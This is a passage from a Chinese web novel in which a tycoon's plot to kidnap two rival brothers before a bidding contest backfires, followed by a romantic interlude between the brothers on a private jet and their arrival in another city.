一句话说完,智能手表提醒他的心跳高于正常值,发出“滴滴滴滴——”的警报。 他深呼吸了几口,等智能手表警报取消,才接着说:“谁不知道巴库斯不值!换作以前,董嘉华贴钱给我,我都不做!可今时不同往日,巴库斯要是拿不下来,我们凭什么让董嘉华,把董氏集团的资源给我们分一杯羹?!” “所以,我们不但要参加巴库斯的竞标,还一定要赢!赢给董嘉华那只老乌龟看!让他知道,无论几岁,我都是当之无愧的老大!” “行了,你出去吧!继续跟内地的官员走动走动。看WWT的事,能不能有突破口。港口那笔钱,我一定要搞到手。” 黄林从口袋掏出手帕,擦了擦额上的汗。其实,他想说,能疏通的他都在疏通了。但是,回忆起今天在贵宾室里,李安然局长的意思,上面对这笔买卖的态度,肯定不能逆转。 可他不敢直说,怕贺朗爆炸。只能应了声好,赶紧心虚地离开。 离开贺朗的办公室,黄林的手帕已经全湿了。 他是建盛集团的副手,在他的角度,非常清楚贺朗和建盛的状况多艰难。 因为和WWT家族合作引起举国上下的反对,建盛集团形象大损,近来,股市一直在阴跌。可以看见,市民对建盛的信心,越来越低。 国内那些跟建盛关系好的官员,看见苗头不对,见风使陀地自动禁言,平日里称兄道弟的,现在连面都不肯露。 加上之前,贺朝风弄垮了建盛在C国的商业链,贺朝阳把港城所有家族都得罪光了。各种叠Buff之下,曾经呼风唤雨的“首富”贺朗,居然走到孤立无援的境地。 见证过贺朗从低处走到高位的黄林,当然希望他绝地反弹。但……这次真的能全身而退吗?! …… 黄林离开后,贺朗眼睛一直盯着平板里的那张照片,特别是陈宗礼和陈一诺那张脸。 你已经不再年轻了…… 你根本不可能东山再起…… 你早晚死在他们前头,拿什么赢他们,不要做梦了…… 贺朗心底最阴暗的角落,那只潜伏许久的恶魔正慢慢苏醒,邪恶的念头占据着他整个大脑。 去他的公平竞争,这个世界哪有绝对的公平! 他跟那些小鬼之间的年龄差就是最大的不公平!如果他也是三十左右的年纪,绝不可能输! 什么叫你早晚死在他们前头? 哼,世界上“意外”那么多。见不到第二天太阳的人多了去。凭什么死的不是他们呢? 贺朗成功的路上并不光彩,为达目标,不择手段,这没什么奇怪的? 但自从他登顶“首富”之后,这些沾血的脏事,就由两个儿子代劳。如今,重操旧业也并不麻烦。 动了杀机的贺朗,点开董嘉华的电话,他需要董嘉华的□□资源,借刀杀人,处理掉那两个姓陈的。 没想到,董嘉华倒是先一步给他打过来。 “哎哟,贺总,我看新闻了呀!宏发也加入竞标!你搞得定吧?有信心吗?” 只一句话,贺朗的智能手表,就开始“滴滴滴滴——”地发出警报。 贺朗呼出几口气,平复心情,忍着怒意对董嘉华说:“当然。” 简单两个字,传递着首富大神的自信,以及对晚辈三番四次挑衅的不屑。 董嘉华狡猾地“嘿嘿”一声:“那我就放心了。对了……” “没什么事不要再打来,我要专心准备。” 没给董嘉华任何开口的机会,贺朗干脆地挂掉电话,智能手表又“滴滴滴——”叫了起来。 他摘下手表往桌面用力一拍!“啪——”屏幕全部碎掉,烦人的提示音瞬间消失,耳根清净。 贺朗紧咬着后牙槽,内心全是“虎落平阳被犬欺”的委屈。 既然,跟董嘉华夸下了海口,除掉陈家兄弟的计划,就不能让他知道。更不能用他的人。 他在通信录里翻找了一会儿,点开一个号码。 电话那头接起,声音很沙哑:“喂,老程,好久不见,有生意想找你谈谈……” …… 一周后,巴库斯竞标如期而至。作为一个A国竞标项目,却莫名获得了大量东方媒体的关注。 巴库斯招标组规定:参与竞标的商家,需要在竞标日前三天,提交方案(包括规划以及预算)。大会将在提案后,选取综合评分最高的方案中标。 与羽南港不同,这次竞标以“提交的方案”为单位,简而言之,获胜的方案可能只有一家公司,也可能有N家。最终,只有一个方案胜出。 这次竞标,一共提交了七个方案,按大会抽签确定顺序,贺朗率领的建盛集团排第二,董焱率领的联合团队排第四。 身穿深蓝色双排扣西装的贺朗刚下车,立刻被国内媒体围追拦截。 “贺先生,我是来自港城的记者,请问你对这次竞标有信心吗?” “贺生,央媒已经多次就建盛跟WWT家族的合作发出警告,但目前为止仍未撤销合作,您有什么想说的呢?” “据闻此次,你的对手非常强劲,你有什么话要说的吗?” 贺朗对记者的发问从而不闻。身后的保镖迅速排成人墙,挡开两旁的记者为贺朗开路。一行十余人浩浩荡荡走进会场。 会场在六星级酒店内,宴会厅中间是演讲舞台,下方摆了八排椅子,第一排坐评委,第二排开始按照竞标顺序从1-7依次往后。 贺朗等人在工作人员的引领下,在第三排落座。落座后,黄林低声提醒:“贺总,董焱在后面。” 贺朗回头,在第五排最左边的位置,找到董焱。那排只有他跟一个女助理两个人。跟建盛的声势浩大比起来,董焱这排人丁单薄得可怜。 董焱的女助理还一直打电话,满脸着急,可电话那头的人就是不接。旁边的董焱盯着面前的笔记本电脑,不时前后翻着PPT。本来就充满杀气的脸,如今更是阴沉得吓人。 黄林道:“不是说四大集团联手,怎么只有董焱两个人?看着像我们人多欺负人少似的。” 贺朗收回目光,看了眼新的智能手表。 黄林继续说:“竞标十点开始,还差3分钟。陈家兄弟甩大牌,竞标现场压哨到?” 贺朗生硬地笑笑,全然不在乎。想起一小时前收到老魏的消息:准备就绪,就等目标现身。 贺朗简单回复:务必成功! 他把手机翻扣到桌上,心想:姓陈的何止来不了,是彻底活不成! 他收敛起脸上的杀意,对旁边的人说:“别看了,我们再过一遍方案。” …… 十点整,正式开始竞标。黄林朝后偷看一眼,回头凑到贺朗耳畔。 “我收到消息,李思维飞机刚抵达港城,今天肯定来不了。陈家兄弟应该会来,现在还没到,该不会路上出了什么意外吧?” 贺朗睨他:“少多管闲事。下一个到我们了,专心点。” 手机震动,收到老魏发来一条消息:搞定了。 贺朗深深舒出一口气,压抑着嘴角,有种心头大石终于落地的快感。 这时,他往下看到董嘉华的头像。之前他让董嘉华没事别找他,这人居然真的忍住,直到今天还没敢找他。 贺朗此时心情大好,用施舍的心情主动给他发了一条消息。 贺朗:开始竞标,放心,稳赢。 刚好,第一个竞标者演讲完毕,台上的主持人邀请建盛出场。 负责提案的是建盛集团的一个年轻总监,四国混血非常帅气。是贺朗为了这次提案,高薪聘请,专门用来克制陈家那两兄弟的。 可惜,现在都用不上了。 大会给每个竞标者各1小时提案时间,年轻总监刚开始还有些紧张,后来渐入佳境,越说越好,眨眼间,半小时过去了。 黄林去前排假装拍照,猫着腰回来,脸上堆满了笑容:“稳了,评委们一直在点头。” 黄林用手帕擦擦汗,回头看看后排,“嘿”了声:“董焱那两人不见了。是不是太紧张,干脆躲厕所去了?” “不见了?”贺朗立刻回头看,原本坐在后排角落的董焱和女助理,果然悄无声息地不见了。 那一排座位,整整齐齐地空着,非常诡异…… 黄林自言自语:“其他团队都紧张得焦头烂额,就他们这排空着。知道的,是年轻人喜欢搞特立独行,不知道的,以为他们早有预谋呢。” “早有预谋”四个字一出口,贺朗“蹭——”地从座位站起,智能手表“滴滴滴滴——”开始响。 现场的提案,被智能手机的声音打断,所有人的视线,忍不住朝后看。 黄林尴尬地拽了拽举止异常的贺朗,低声道:“贺总,先坐下吧!” 贺朗大脑飞速转动,他有预感:出问题了! 他挣脱黄林的手,拿着手机径自走出会场。酒店的走廊外,左边通往厕所,右边通往电梯。 他快步朝电梯方向走,按了1L,到酒店大堂。电梯从几十层的高空缓缓降落。过程中,他的大脑一直在持续运转。 早有预谋,他们是怎么早有预谋的?!老魏明明已经说搞定了,为什么他心里的预感那么糟糕?! 董焱为什么会提前离开?是觉得自己赢不了,还是…… 电梯里没有信号,他打不通老魏的电话。但他疯魔了,明知没信号,还手指颤抖地按“重拨”键。 “叮——”电梯门缓缓打开,他快步迈出电梯的同时,立刻举起手寻找信号,在信号满格时,继续给老魏打电话。 他一个人,在人来人往的大堂里横冲直撞,耳旁的智能手表依然在报警,但他丝毫不在意。 酒店门外,董焱跟女助理一起上了车,跟来时的愁云惨雾不同,上车时,他们表情明明很轻松。 这时,老魏的电话,终于接通了。 “喂,老魏……”他迫不及待地说话,但对面传来让他后背发凉的声音。 “贺伯伯,我是一诺,老魏暂时不方便接电话,有什么事……” “我帮你转达。” 第119章 中计了! 听见陈一诺声音的同时,这三个字迅速从他脑海里弹出来。 从未失手的贺朗,此时大脑高速运作,在思考自己到底哪一步出了错。 他用颤抖的手扯开领带,问道:“不可能,不可能,你们不是……” “你们不是……应该被绑架了吗?”陈一诺接着他的话往下说,低沉的笑声从电话那头传来,阴森森的。 事发几天前,聂加察觉在陈一诺公寓附近出现可疑人员,还发现司机跟其中一个认识,还聊过天。特意留了个心眼。 竞标前一天,聂加把可疑人员的事告知陈一诺,并且通过盘问司机,套出情报:有人准备在竞标当天,对他们实施绑架。 本来,他和陈宗礼会在竞标这天,从A国飞内地,等贺朗竞标结束后,才让他知道弃标的事。 得知贺朗策划了这起“绑架”计划时,让陈一诺和陈宗礼默契地对视,有种“该发生的还是要发生”的宿命感。 于是,他们将计就计,取消原来的飞行计划,两人在竞标当天,搭乘劳斯莱斯前往现场。 在确定两个“目标人物”如期上车后,老魏带着两辆车尾随其后。 并按照和司机串通好的,在一个红绿灯分岔口,把右拐改成直走——那是一条人烟罕至的偏僻小路,最适合绑架。 看司机按约定把车开向小路,老魏率领的两辆车忽然加速,一左一右,把他们的劳斯莱斯夹在中间逼停。 本来,一切都按计划进行中,当戴着头套的绑匪手持枪和武器下车,胜券在握地走向劳斯莱斯,准备绑人时。 车门忽然被暴力打开,车内的司机变成了聂加的模样,车门瞬间撞飞了两个绑匪。 而车内,除了陈宗礼和陈一诺,还藏着另一个保镖——武力值爆表的罗里。 在聂加和罗里默契配合下,老魏那些绑匪连枪都来不及开,就倒下一大片,等后援抵达,更是连漏网之鱼都全部抓回。 …… 明明是青天白日,朗朗乾坤,站在酒店大堂的贺朗却觉得有只阴湿鬼附在他身上。 他的声音是陈一诺的声音,通过电波传到他耳畔,让他头皮发麻,浑身冰冷。 “贺朗,你居然以为区区几个绑匪,就能从“银狼”手里抢人……” “你以为还是当年,跟董嘉裕联手绑架他父亲的时候吗?” …… 这件秘事,还是老太太告诉陈宗礼的。 据说,当年,董焱父亲董嘉裕,是偏房三子,他从出生开始,被董老爷子忽视。 于是,董嘉裕让贺朗找到老魏,假装仇家谋杀董老爷子,同时,还让董焱替董老爷子挡了一枪。 经此一战,董嘉裕“父凭子贵”开始走进老爷子视线,从而接触董家的生意。 董家和贺家同气连枝,结成联盟,也是从那时候开始的。 当事人董焱,只知道自己被父亲培养成讨好爷爷,替爷爷挡枪的工具。 这对于还是小孩的他而言,已经足够残忍。没想到,这起绑架,居然是父亲和贺朗联手设计的。 这让董焱大为愤怒,咬着后牙槽表示:非常乐意到竞标现场,亲眼看看,贺朗如何从不可一世变成穷途末路。 …… 电话的另一边,满脸淤青的老魏被聂加压跪在地上,双手反剪在背后。其他绑匪就没那么好待遇,全都躺到在地上,连哀嚎的声音都发不出来。 “对了”,陈一诺的目光从一票绑匪身上收回,双手插兜,看向人烟荒芜的小路,“你应该知道了吧,我们根本没打算竞标。” 贺朗喘着粗气,走到这一步,他当然知道了,可他还是不明白:“为什么?” 陈一诺踢了踢马路牙子:“是你自己劝焱少,说A国人对房地产不感兴趣,我们只是听劝而已。” 实际上,他们第一次去巴库斯勘察的时候,就证实了贺朗的判断是对的。A国人只想去巴库斯度假,附近有旅店、餐厅就足够了。成规模的商业体,无论是房地产和文旅,最终只有死路一条。 为此,陈宗礼当场建议:弃标。 贺朗不相信:“不可能,就算你们决定弃标,董焱也不可能答应!” 最开始,巴库斯作为董焱和董嘉华争夺董氏集团“一把手”的首战,董焱弃标,不就等于告诉集团所有人,他弃权了吗? “董焱刚开始,确实不答应。但是,你也说过,董家内部的家事,我们不应该参与。所以,我们建议董焱两叔侄坐下来谈谈。最后,他们谈妥了。” “不可能!” 贺朗又说了一个“不可能”,反应更加激烈得整个人晃了晃。 他自信,如果董家谈判了,董嘉华一定会告诉他,毕竟他们才是坐在一条船上的盟友! 陈一诺很满意他的反应,他仰起头,今天的天空蓝得过分,他伸手去抓那颗刺眼的太阳。 “贺伯伯,利益面前,没什么是不可能的。这一点,你比我清楚!” …… 当时,他们三个人,面朝巴库斯沙滩,那天风平浪静,是出游的好时节。 陈宗礼跟董焱中肯地提出“弃标”的时候。陈一诺惊讶中透着不理解,董焱的反/应/更是激烈。 董焱抱着双肩,不信任地打量陈宗礼:“你们不想合作就直说。” 陈一诺也疑惑:“哥,弃标不就等于告诉董氏集团的人,焱少认输吗?” 陈宗礼凉凉地看着董焱:“你本来也不想管董氏集团吧……不然,你也不会跑到内地开广告公司。” 陈一诺看向董焱,董焱则继续盯着陈宗礼,三角形站位的三个人,良久没说话。 陈宗礼继续分析:“焱少,你早就清楚董氏的业务有多贪心。黑白生意都想做,黑白两道的钱都想赚。在今时今日,实在太难了。” “你父亲在世的时候,尚且能在中间斡旋。但轮到你来管,就太难了。” “与其拿回来一个炸弹,不如壮士断腕,给董氏的业务做个大手术。” “把集团内的黑色产业,也就是回报高、风险大的业务,直接分给董嘉华。剩下那些能见光的产业,也就是回报稍低但风险小、安全的业务,握在你自己手里。” 陈一诺喃喃:“啊?把那些产业交给董嘉华,他能行吗?再说,如果他真的做得风生水起,要挟焱少把剩下业务也给他,那怎么办?” 陈宗礼挑眉:“首先,我们把董氏最赚钱的业务分给他,目的就是为了堵他的嘴。好让焱少专心整理那些安全的生意。其次,你也看出来他不行,跟那些道/上大佬合作,凶多吉少。我敢赌,他没精力报复焱少。” 陈宗礼分析得很对,但陈一诺依然皱眉:“但,那么大块肥肉,就白白给他?” 陈宗礼笑了:“当然不行。我们可以让董嘉华怂恿贺朗,让他以建盛名义参加竞标。” 董焱默默打量着陈宗礼,他是一个理想主义者,对唯利是图的商人一直存在偏见。 听见这句话,心里冷笑,拆穿了陈宗礼唯利是图的面具。 “我虽然不在港城,但贺家跟你们家的恩怨,我多少还是了解的。” “陈宗礼,你劝我们董家分家,是打算借我的刀,杀你的人。” 陈宗礼:“纠正一下,贺朗是我们的共同敌人。” “董嘉华要是跟贺朗绑定,能从董氏集团薅走多少东西,你心里比我们清楚。光是贺朗手里有董氏集团的股份,每次董事会决策投反对票,就够你烦的。我们需要用这次竞标,让他和董嘉华之间有嫌隙。” “再说,刚开始,你接手董氏集团,是为了人生安全。现在你也发现,董嘉华根本没你父亲那样心狠手辣。但你父亲留下的那些业务就不同了。军h、d品、走私、地下钱庄。这里牵涉的人,杀人放火无恶不作。他们对于你来说,才是威胁。” “既然董嘉华心心念念想要。你没必要抱着这个定时炸弹,直接放手,送他一路好走。” 本来,两人之间距离有两米,双方又是体型健硕的类型,看起来向两头准备决斗的狮子在对峙。 陈宗礼主动走到董焱面前,打破双方对峙的边界,语重心长:“焱少,如果你孑然一身,又有强烈的野心魄力,我就不劝你了。” “但你可是拖家带口的,应该比我更明白,明哲保身才是最重要的吧。” 最后一句,陈宗礼直接戳中董焱的要害。不出所料,董焱彻底沉默了。 陈宗礼和陈一诺也没说话,安静站在海边,眺望远方的潮起潮落。 他们迫切要对付贺朗没错,但董家内部的事,他们作为外人,也只能点到为止。 最后的最后,董焱答应了。 从最后的谈判来看,董嘉华对自己分得的业务,非常满意。以至于完全没有犹豫,就把“盟友”贺朗给卖了。 …… 酒店大堂内,贺朗拿着手机,想起董嘉华单方面的断联。 原来,不是忍住不找他,而是彻底用不上他了!前所未有的耻辱感,让贺朗浑身骨头疼。 “贺总,你没事吧?怎么跑到这里了?” 黄林急匆匆地从身后跑来,浑然没察觉贺朗的神情异样。 他擦着汗,露出大大的笑容:“贺总,好消息!” “董焱他们居然弃标,如你所愿,我们中标了!” 电话那头,陈一诺也同时听到了消息,他朗声笑道:“恭喜贺总,求仁得仁。我真好奇,这次竞标,建盛出价多少,120亿?” “哎哟,如果你也想学我们弃标,那你在A国的信誉估计就完蛋了。” “不过,比起赔WWT家族的500亿,你这100多亿也不至于全打水漂。希望建盛这笔对董嘉华的投名状能赚回来……” “但是,无论如何。这一局,贺朗你输了!” 手无力地垂落,手机屏幕已经暗掉,陈一诺也早就没了声音。 贺朗突然想起陈宗礼让老K带的那句:贺朗,你死定了! 所以,从他们跟WWT家族签订合作开始,陈家就开始动作了……消息是他们放出去的! 目的,就是为了让他陷入两难的境地。继续合作,被国家封杀,不合作,高价赔付。 他们四家集团联手竞标巴库斯,也只是烟幕弹,目的是为了引他入局,让他再掏100多亿中标一个巨亏的房地产项目。 咬牙把项目做了,亏钱;现在弃标,被A国封杀。 两兄弟步步为营,把他逼入绝境。 贺朗站在诺大的酒店门口,A国的阳光莫名刺眼,来往客人熙熙攘攘,他站在其中像一具被抽干的、摇摇欲坠的尸体。 手上的智能手表,依然在“滴滴滴——”个不停。 贺朗眼前一黑,失去了知觉。 第120章 “备受关注的巴库斯项目,竞标现场出现戏剧性反转。呼声最高的四大集团现场弃标。最终,该项目由建盛集团中标。” “截至目前,包括董氏集团在内的四大集团,未对弃标一事进行回应。” 私人飞机上,陈宗礼刚结束一个会议,从前排的公共舱回到休息套间。 舱门打开,电视里的新闻频道正在播放巴库斯竞标新闻,浴室传来“哗哗”水声,陈一诺在里面洗澡。 几小时前,他们把老魏为首的绑匪扭送到警察局,再搭乘私人飞机回内地。 陈宗礼解开衬衫上的两个扣子,坐在沙发上拿起遥控,把新闻频道换成娱乐频道。 专业的新闻播报声戛然而止,电视画面从豪门大鳄的你争我夺,变成一群明星到乡间田园里烧火做饭的乌烟瘴气。 浴室门打开,陈一诺穿着白衬衫走出来,衬衫不是他的尺码,套在他身上有些过于宽大。 陈一诺嘴里叼着牙刷,看见陈宗礼时,嘟囔说了句:“忙完了?” 这句话带着淡淡的薄荷味,陈宗礼回应一声“恩”,目光忍不住落在衬衫下摆。 衬衫比陈一诺平时穿的要长一截,刚好遮挡住内裤,白玉筷子似的两条长腿,直直站在他面前,十分晃眼。 节目刚好播到,铁锅里的柴火米饭出锅,粒粒可见的白米饭,唤起身体对碳水的渴望。还有色泽浓郁的红烧肉,香味几乎溢出屏幕。 看得陈一诺眼睛都直了,牙刷就塞在嘴里,手都忘了动。 担心他太馋把牙膏沫咽下去,陈宗礼身体前倾,大手“啪——”地拍上他的屁股,命令道:“刷完牙再看!” 陈一诺非常听话,子弹一样弹射到洗漱间,不到10秒又冲出来,直接盘腿坐在沙发上。 为了看电视,陈一诺洗漱非常粗糙。回来时,一半牙膏沫还沾在唇上。陈宗礼用手指给他蹭掉,嘴上干净了,嘴唇被蹭出一抹微红。 陈宗礼用纸巾擦干净手指,漫不惊心道:“刚刚收到消息,贺朗被送进医院,这回挺严重。直接送ICU急救。建盛那群高管不敢声张,现在消息还封锁着。” “哦……”陈一诺随意应了声,就没有下文了。目光始终盯着电视。节目里,当红小鲜肉正四处奔跑抓一只“走地鸡”。好似走地鸡的命运,比“首富”的命运更吸引。 跟贺朗说完那通电话,陈一诺的状态跟之前喊着“我要杀了贺朗”时,完全不同。 如今听见姓贺的任何消息,都只是一副漠不关心的表情。不知道是不想关心,还是彻底放下。 无论是哪种,在陈宗礼看来都值得庆贺。 陈一诺回头发现陈宗礼抱着双手打量自己,问道:“干嘛看我?” 陈宗礼伸手拽着他的衣袖:“我的衬衫?” “嗯……”陈一诺顺势把头枕在他的腿上,侧卧着看电视,衬衫因为动作往上走,露出内裤的颜色——白的。 他有些慵懒道:“你的衬衫舒服。” 节目里,走地鸡和红烧肉都上了桌,嘉宾们围在长桌上,对红烧肉赞不绝口。还有专门特写明星咬开红烧肉时满嘴油光,意犹未尽的镜头。 陈宗礼清楚看见的陈一诺喉头一滚,咽了一口口水。 陈宗礼揉着他的卷发,刚用风筒吹过,发根还残留着热气。 “那么馋,想吃红烧肉,回家让兰姨专门给你做呗。” 陈一诺摇摇头,拽过他的手指,抱在胸前:“这个红烧肉是柴火烧出来的,家里估计做不出这种风味。要不……哪天有空我们搞一个返璞归真之旅,全家人去野炊怎么样?” 陈一诺把他的衬衫穿得很恣意,从第三颗纽扣开始扣,侧躺时露出一片锁骨,他的手指刚好没入衣领,触碰到肌肤。 陈宗礼心猿意马:“平时一日三餐,做得不够多?还要把兰姨她们山长水远拉到农村,用柴火给你做饭,不要虐待老人吧。” 陈一诺嘟噜着嘴:“她们看见南山寺的茶花,都能拍一辑写真,保不齐她们肯定感兴趣呢。” 陈宗礼耸耸肩:“那回家你自己去问。” 节目到了游戏环节,陈一诺不感兴趣,干脆平躺仰视陈宗礼,问道:“哥,你会做饭吗?” 陈宗礼垂眸反问:“你猜。” 陈一诺斩钉截铁:“不会。” 生下来就是金尊玉贵的陈大少,众星拱月伺候着陈太子,哪里来的机会做饭啊。 陈宗礼不置可否地笑笑,反问:“那你呢?好歹也是个少爷,会做饭吗?” 陈一诺很骄傲地抬头:“那当然,A国所有超市里的速食产品我都会做。” “披萨、烤鱼、意大利面……只要给我一个烤箱,少许香料。我还你一个西式九大簋!” 陈宗礼的饮食一直被兰姨和营养师,严格监管,“速食产品=垃圾食物”的刻板印象根深蒂固。 他皱眉:“你在A国总吃这些?” 突然聊起陈一诺在A国流放的日子,彼此心里都有恍如隔世的感觉。 陈一诺笑道:“总吃倒不至于,时间不够。” “大学刚开始创业,那时候,主要吃学校食堂或者外卖。后来成立Wemall,全公司10多号人,我就专门聘请了一位国内的阿姨做饭。” “遇到节假日,阿姨要休假,她会提前给我包点饺子放冰箱。她也想教我做饭来着,可我实在没时间也没天赋,她就从超市买了点速食,教我怎么用烤箱。” “就这么凑合吃了几年。” 陈宗礼手指在他脸庞落下,脑海里想象他独自在异乡过节的情景,心里头满是遗憾。 鬼使神差地,陈宗礼突然问:“你现在饿吗?” 结合上下文,陈一诺目光忽然闪了闪,他立刻坐起身,隐隐激动:“你要给我做吃的?真的假的?方便面可不算啊!” 跪坐起来的时候,动作幅度太大,半边衬衫掉下来,露出一边肩膀。 陈宗礼费了极强的自制力,才把注意力从他肩膀上转移开。 “不是方便面。到时候你就知道了。”陈宗礼指尖勾起他的衣领,帮他穿好。 “吃!”陈一诺没有一丝犹豫。 …… 他们从套间出来时,飞机正身处12000米的高空,途径大西洋海域。今晚的天气不错,没什么气流,机身很平稳。 陈宗礼走在前面,身后拉着陈一诺,朝厨房的方向走。 厨房里刚好有值夜的女空乘,看见陈宗礼,连忙起身,礼貌问道:“陈总,有什么需要帮忙?” 陈宗礼自然地把陈一诺挡在身后,摆摆手:“我想借用厨房做点吃的,你先回去休息吧。” 私人飞机上绝大部分菜单都是和米其林餐厅合作订制的。为了确保口感,主厨会在起飞前把食材提前煮到半熟,然后冷冻带上飞机,食用时再加工。 从没见过,老板要在飞机上亲自动手做的…… 女空乘双手叠在身前,站着不敢走,满脸担忧地看两个少爷。眼里全是他们想要“半夜炸厨房”的恐惧。 陈宗礼也不管她,自顾自打开冰箱,从里面拿出几个鸡蛋,又找到了面粉。 一旁的空乘看他们是认真要下厨,再次试探:“要不,两位告诉我,你们想吃什么,我来做?” 陈宗礼抬起手阻止,说话很坚决:“不用,我自己来。” 飞机上不能用明火,但准备了感应炉,陈宗礼研究了一下用法,按照指引按下“开关键”,结果,没亮! 手指头在控制面板上戳了几下,还是没亮。 他嘟囔:“这个锅,是不是坏了呀?” 女空乘忽略他把“感应炉”喊成“锅”,尴尬地把上方的电源开关“啪——”地按下。 陈宗礼“哦”了声,完全不觉得丢脸,再次按下“开关键”,这次,感应炉终于正常运作。 站在一旁围观的陈一诺努力抿着唇,不让自己笑出来,生怕打击陈宗礼“为爱烹饪”的积极性。 他对女空乘做了个口语,大意是:“回去吧,没事的。” 没有陈宗礼的遮挡,女空乘这才看见“下半身失踪”的陈一诺。都知道,这两位是什么关系。女空乘立刻从脖子红到耳根,也不管陈宗礼会不会“炸厨房”,低着头跑出去。 女空乘不在,陈宗礼自如了许多。 他把蛋清和蛋黄分离,蛋黄加奶和面粉搅拌均匀。往蛋清加入白糖,用打蛋器搅拌。 陈一诺坐在岛台上,长腿像两节藕,晃啊晃的。歪头看陈宗礼挽起衣袖,一手抱着盆,一手拿着打蛋器以飞快的速度手动打发。精壮的小臂,因为用力搅拌冒出青筋,肌肉线条非常流畅,专注的模样特别性感。 等蛋白打发成慕斯状,最后和蛋黄混在一起。均匀摊放在平底锅上,盖上盖子,小火慢煎。 陈宗礼松了口气,后退一步后腰贴着岛台,跟陈一诺一起等待。 不到几分钟,锅盖上蒙了一层细碎的雾气,锅里的淡黄色慕斯,开始跟空气产生连接、膨胀。空间中,逐渐弥散着鸡蛋混合牛奶的甜腻香气。 本来并没有多饿的陈一诺,被这个味道,香饿了。 陈宗礼揭开锅盖,鸡蛋混合液彻底蜕变成一层松软的、轻轻摇会duangduang晃动的松饼。 陈宗礼拿起锅铲,小心翼翼地把饼翻了翻,露出焦黄色的底面。 陈一诺终于知道他在做什么,惊讶道:“舒芙蕾?!你会做舒芙蕾?!” 陈宗礼看着成品,还算满意,关掉炉子,直接把整个平底锅放在岛台上,浇上一点蜂蜜,一人一个勺子,舀着吃。 “介绍一下,我唯一会做的——简易版舒芙蕾。” 陈一诺难以置信:“天呢,你居然会这个?什么时候学的?” 陈宗礼垂眸:“念大学的时候,一个男同学喜欢一个学妹,专门做了舒芙蕾跟对方表白,最后成功了。我就觉得,应该要学一下。” 陈一诺拿着勺子顿了顿,眯着眼睛问:“那时候你……” 陈宗礼夺走他的勺子,先挖一块递到他嘴边:“那时候我想着,兴许你会喜欢吧……” 上辈子学会的技能,等了一辈子才派上用场。 像一颗延迟的子弹,绕过生死,绕过时间,绕了地球好几圈,最后还是一股脑地击中陈一诺的心。 他忍着淡淡的心酸,张嘴吃下那口舒芙蕾。入口即化,吃完嘴里剩下一缕香甜的感受,让他想起棉花糖。 陈宗礼的眼眸看着他,仿佛在焦急等待着答案。光是天之骄子陈宗礼为他亲自下厨,就足够让人心满意足。 良久,陈一诺脑袋往前吻一下他的鼻尖:“我太喜欢了。” …… 分吃完平底锅里的舒芙蕾,陈宗礼拽着陈一诺返回套间,关上舱门的同时,白衬衫缓缓落地。 不算宽敞的套间内,没开灯,陈一诺跨坐在陈宗礼身上索吻,彼此都想染上舒芙蕾的味道。 陈一诺咬着陈宗礼的下唇,问道:“舒芙蕾甜,还是我甜?” 陈宗礼凑到他耳边轻笑了声,耍赖:“没尝清楚,我再尝尝……” 舱门外,传来脚步声。看时间是夜巡的机组人员,这里隔音不算好,动静太大怕被听见。 陈一诺躲开陈宗礼追上来的吻,大气都不敢出。等脚步声走远,低声道:“刚刚在偷吃,现在像偷情。” 陈宗礼也不提醒他两者其实差不多,直接把人压在床上,大手捂着他的嘴:“那你声音小点,别让外面的人听见我们偷情……” 万米高空中,飞机忽然一下颠簸,在飘荡着舒芙蕾香味的狭小机舱内,陈一诺的身体像痉挛似地反弓,没忍住,声音从陈宗礼的指缝溢出……—— 作者有话说:明天就放假啦!!!![坏笑][坏笑]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 120-126 第121章 私人飞机平安降落上城。 陈一诺把墨镜挂在脑后,上身粉色POLO衫,下身白色休闲裤,一脚踩在上城的土地上。 迎风双手张开,喊道:“上城我回来了!” 这是陈一诺被领养到陈家以来,首次踏入上城。 陈宗礼站在他身后,身上依然是简约的黑白配,大手捏着他的脖子,说道:“别中二了,晒,赶紧上车。” 陈一诺被他推着往前走,脑袋后转好奇问道:“你怎么突然来上城?有项目?!” 陈宗礼自己是“工作狂”,却没想到陈一诺比他还狂,工作的时候拼命工作,休息的时候还是拼命工作。 他无奈道:“别问,到时候你就知道。” 陈一诺把脑后的墨镜摆正,感叹岁月匆匆,走的时候正值寒冬,再回来已经是夏天了。 入夏的上城,太阳份外热辣,从停机坪走到停车场,两人的后背已经出了一层汗。 停车场内,两个高挑的女士抵着保时捷车头,并肩站着,左边那位长发,黑色长裙配高跟鞋,右边那位短发,灰色马甲白衬衫,配工装裤。一个优雅知性,一个英姿飒爽。 陈一诺眯着眼睛,说道:“我去,女明星在拍杂志大片?” 走近几步,认清人了,一个箭步冲上去:“思维姐,宝瑶姐!你们怎么在这里?” 李思维把长发往后甩,上来给他一个大拥抱:“你一个电话把贺朗那只老狐狸气进医院。我肯定得表示感谢啊。” 跟李思维拥抱后,他又跟庄宝瑶抱了一下。她们两位差点被姓贺的弄得鸡犬不宁。如今,庄宝瑶如愿成为亚士得大中华区拥有最多“白手套”的女拍卖师。李思维也把一地鸡毛的宏发集团,一点一点收拾好,重新步入正轨。 陈一诺倒是不敢邀功:“那你还是得谢陈宗礼,要不是他曝光了贺朗卖港口的事,他也不至于孤注一掷参加巴库斯竞标。” 李思维抱着肩,笑道:“你俩我都谢!不过我听说,贺朗已经救回来了,情况还没我爸严重。太可惜了。” 贺朗命大又迈过鬼门关,陈一诺却并不在意了。 庄宝瑶站在一旁悠悠道:“他这样活着,也未必比死了好。” 李思维走到陈宗礼面前,上下打量:“哎,来谈生意的,你们穿成这样?” 昨晚在飞机上,他们把陈宗礼唯二的两件白衬衫都糟蹋得不能穿。陈宗礼只剩休闲服,可陈一诺穿西装,他穿休闲,显得不太配,陈一诺索性和陈宗礼一样也换了休闲服。 西装领带习惯了,忽然那么休闲,他们自己也不是很习惯。这时被李思维点出来,有些尴尬。 陈宗礼睨着李思维:“穿什么你也要管了?赶紧走吧。” “切,谁管你?你们坐这辆,我们在前面开路。” 说完,李思维转身搂着庄宝瑶的肩膀,往前面那辆保时捷走去。 “啪——”陈宗礼朝陈一诺打了一个响指,拉开车门等着,说道:“想什么呢?上车。” 陈一诺这才俯身上了车,立刻扑到陈宗礼身边问:“思维姐说谈生意?!什么生意?!” 如果说,要引起一只小狗的注意,只需要用一条香喷喷的肉干;而引起陈一诺的注意,从小到大都是钱,小时候是一个赌注,长大是一个充满铜臭味的项目。 陈宗礼还想带陈一诺单纯散心放松,顺便看看项目,没想到刚下飞机就被李思维说漏了。 他手指点着陈一诺的额头,不让他再靠近,问道:“难得故地重游,你就不能好好休息?” 